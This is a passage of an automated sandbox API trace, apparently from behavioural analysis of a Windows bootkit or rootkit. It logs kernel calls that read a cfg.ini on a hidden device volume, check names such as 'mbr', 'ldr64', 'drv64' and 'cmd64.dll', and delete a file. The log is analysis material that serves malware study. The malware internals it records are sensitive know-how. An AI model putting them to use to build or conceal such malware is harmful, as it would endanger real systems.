ExFreePoolWithTag (P=0xfffffa8003bf8120, Tag=0x0) [0126.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.593] KeLeaveCriticalRegion () [0126.593] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.593] ReleaseMutex (hMutex=0xf0) returned 1 [0126.593] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.593] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.593] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.593] KeEnterCriticalRegion () [0126.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.593] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.593] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.593] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.594] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.594] IdePortDispatch () returned 0x103 [0126.594] KeWaitForMutexObject () returned 0x0 [0126.594] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.594] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.594] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.594] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.594] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.594] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4bd0 [0126.594] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.594] KeLeaveCriticalRegion () [0126.594] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.594] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.594] KeEnterCriticalRegion () [0126.594] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.594] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.594] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.594] KeLeaveCriticalRegion () [0126.594] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.594] KeEnterCriticalRegion () [0126.594] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.594] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.594] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.594] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.594] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.594] IdePortDispatch () returned 0x103 [0126.594] KeWaitForMutexObject () returned 0x0 [0126.594] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.594] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.594] KeLeaveCriticalRegion () [0126.594] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.595] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.595] KeEnterCriticalRegion () [0126.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.595] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034f6000 [0126.595] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.595] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.595] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.595] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.595] IdePortDispatch () returned 0x103 [0126.595] KeWaitForMutexObject () returned 0x0 [0126.595] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.595] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.595] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.595] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.595] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.595] IdePortDispatch () returned 0x103 [0126.595] KeWaitForMutexObject () returned 0x0 [0126.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.595] KeLeaveCriticalRegion () [0126.595] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.596] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.596] KeEnterCriticalRegion () [0126.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.596] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.596] KeLeaveCriticalRegion () [0126.596] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.596] KeEnterCriticalRegion () [0126.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.596] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.596] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.596] KeLeaveCriticalRegion () [0126.596] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.596] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.596] KeEnterCriticalRegion () [0126.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.596] ExFreePoolWithTag (P=0xfffffa8003bf4bd0, Tag=0x0) [0126.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.596] KeLeaveCriticalRegion () [0126.596] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.596] ReleaseMutex (hMutex=0xf0) returned 1 [0126.596] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.596] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.596] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.596] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.596] KeEnterCriticalRegion () [0126.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.596] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.596] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.596] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.596] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.596] IdePortDispatch () returned 0x103 [0126.597] KeWaitForMutexObject () returned 0x0 [0126.597] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.597] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.597] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.597] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.597] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.597] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.597] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.597] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.597] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.597] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.597] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.597] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.597] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.597] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.597] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.597] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.597] KeLeaveCriticalRegion () [0126.597] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.597] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.597] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.597] KeEnterCriticalRegion () [0126.597] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.597] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.597] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.597] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.597] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.597] IdePortDispatch () returned 0x103 [0126.597] KeWaitForMutexObject () returned 0x0 [0126.597] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.597] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.597] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.597] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.597] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.598] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.598] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.598] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.598] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.598] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.598] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.598] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.598] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.598] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.598] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.598] KeLeaveCriticalRegion () [0126.598] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.598] ReleaseMutex (hMutex=0x100) returned 1 [0126.598] Sleep (dwMilliseconds=0x2bf20) [0126.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ea92f50, dwHighDateTime=0x1d24fa4)) [0126.604] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.604] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.604] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.604] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.604] KeEnterCriticalRegion () [0126.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.604] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.604] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.604] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.604] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.604] IdePortDispatch () returned 0x103 [0126.604] KeWaitForMutexObject () returned 0x0 [0126.605] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.605] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.605] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.605] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.605] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.605] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e09e0 [0126.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.605] KeLeaveCriticalRegion () [0126.605] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.605] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.605] KeEnterCriticalRegion () [0126.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.605] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.605] KeLeaveCriticalRegion () [0126.605] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.605] KeEnterCriticalRegion () [0126.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.605] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.605] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.605] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.605] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.605] IdePortDispatch () returned 0x103 [0126.605] KeWaitForMutexObject () returned 0x0 [0126.605] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.605] KeLeaveCriticalRegion () [0126.605] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.605] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.605] KeEnterCriticalRegion () [0126.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.605] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034f9000 [0126.605] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.606] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.606] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.606] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.606] IdePortDispatch () returned 0x103 [0126.606] KeWaitForMutexObject () returned 0x0 [0126.606] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.606] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.606] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.606] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.606] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.606] IdePortDispatch () returned 0x103 [0126.606] KeWaitForMutexObject () returned 0x0 [0126.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.606] KeLeaveCriticalRegion () [0126.606] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.607] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.607] KeEnterCriticalRegion () [0126.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.607] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.607] KeLeaveCriticalRegion () [0126.607] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.607] KeEnterCriticalRegion () [0126.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.607] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.607] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e0aa0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.607] KeLeaveCriticalRegion () [0126.607] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.607] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.607] KeEnterCriticalRegion () [0126.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.607] ExFreePoolWithTag (P=0xfffffa80037e09e0, Tag=0x0) [0126.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.607] KeLeaveCriticalRegion () [0126.607] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.607] ReleaseMutex (hMutex=0xf0) returned 1 [0126.607] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.607] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.607] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.607] KeEnterCriticalRegion () [0126.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.607] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.607] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.607] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.607] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.607] IdePortDispatch () returned 0x103 [0126.608] KeWaitForMutexObject () returned 0x0 [0126.608] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.608] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.608] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.608] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.608] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.608] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bee300 [0126.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.608] KeLeaveCriticalRegion () [0126.608] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.608] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.608] KeEnterCriticalRegion () [0126.608] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.608] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.608] KeLeaveCriticalRegion () [0126.608] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.608] KeEnterCriticalRegion () [0126.608] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.608] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.608] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.608] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.608] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.608] IdePortDispatch () returned 0x103 [0126.608] KeWaitForMutexObject () returned 0x0 [0126.608] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.608] KeLeaveCriticalRegion () [0126.608] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.608] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.609] KeEnterCriticalRegion () [0126.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.609] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034fa000 [0126.609] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.609] IoAllocateMdl (in: 